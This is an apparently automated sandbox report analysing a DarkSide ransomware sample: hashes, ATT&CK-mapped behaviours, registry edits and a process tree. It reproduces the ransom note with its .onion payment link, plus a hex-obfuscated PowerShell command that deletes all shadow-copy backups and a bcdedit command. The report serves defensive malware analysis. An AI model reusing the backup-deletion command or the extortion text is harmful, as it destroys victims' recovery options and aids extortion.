darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

max time kernel
103s
max time network
116s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
25/03/2025, 14:50

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General

Target

RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.feec4d3e.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (161) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3500	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\feec4d3e.BMP"	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\feec4d3e.BMP"	DarkSide_16_01_2021_59KB.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_16_01_2021_59KB.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_16_01_2021_59KB.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\feec4d3e	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\feec4d3e\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\feec4d3e.ico"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.feec4d3e	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.feec4d3e\ = "feec4d3e"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\feec4d3e\DefaultIcon	DarkSide_16_01_2021_59KB.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3500	powershell.exe
3500	powershell.exe
1988	DarkSide_16_01_2021_59KB.exe
1988	DarkSide_16_01_2021_59KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeSecurityPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeTakeOwnershipPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeLoadDriverPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeSystemProfilePrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeSystemtimePrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeProfSingleProcessPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeIncBasePriorityPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeCreatePagefilePrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeBackupPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeRestorePrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeShutdownPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeSystemEnvironmentPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeRemoteShutdownPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeUndockPrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: SeManageVolumePrivilege	1988	DarkSide_16_01_2021_59KB.exe
Token: 33	1988	DarkSide_16_01_2021_59KB.exe
Token: 34	1988	DarkSide_16_01_2021_59KB.exe
Token: 35	1988	DarkSide_16_01_2021_59KB.exe
Token: 36	1988	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeBackupPrivilege	4720	vssvc.exe
Token: SeRestorePrivilege	4720	vssvc.exe
Token: SeAuditPrivilege	4720	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 3500	1988	DarkSide_16_01_2021_59KB.exe	88
PID 1988 wrote to memory of 3500	1988	DarkSide_16_01_2021_59KB.exe	88

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe bcdedit /set shutdown /r /f /t 2
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

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Downloads

C:\Recovery\WindowsRE\README.feec4d3e.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2cddc97d648396fc8c7b639e5c7930c4

SHA1
225c6e0b6bd8ef49c5bf602dbd1b11c3f81282be

SHA256
3786af9d3137d4354242417785e076bb822caa54d0fcb33fce4e15cfe33ab71e

SHA512
0954ab5e4b49b80fc0b1aecbb1e0a136553a42bbcfcf94b6c7e808f7128d30d7f076154b8810365639b10009173643f70a73c877ef39c3442cbeac329c8d8f2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2jwpwlpy.s45.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3500-1-0x00007FFB954A3000-0x00007FFB954A5000-memory.dmp

Filesize
8KB

Download
memory/3500-11-0x000001ED3E4F0000-0x000001ED3E512000-memory.dmp

Filesize
136KB

Download
memory/3500-12-0x00007FFB954A0000-0x00007FFB95F61000-memory.dmp

Filesize
10.8MB

Download
memory/3500-13-0x00007FFB954A0000-0x00007FFB95F61000-memory.dmp

Filesize
10.8MB

Download
memory/3500-14-0x00007FFB954A0000-0x00007FFB95F61000-memory.dmp

Filesize
10.8MB

Download
memory/3500-17-0x00007FFB954A0000-0x00007FFB95F61000-memory.dmp

Filesize
10.8MB

Download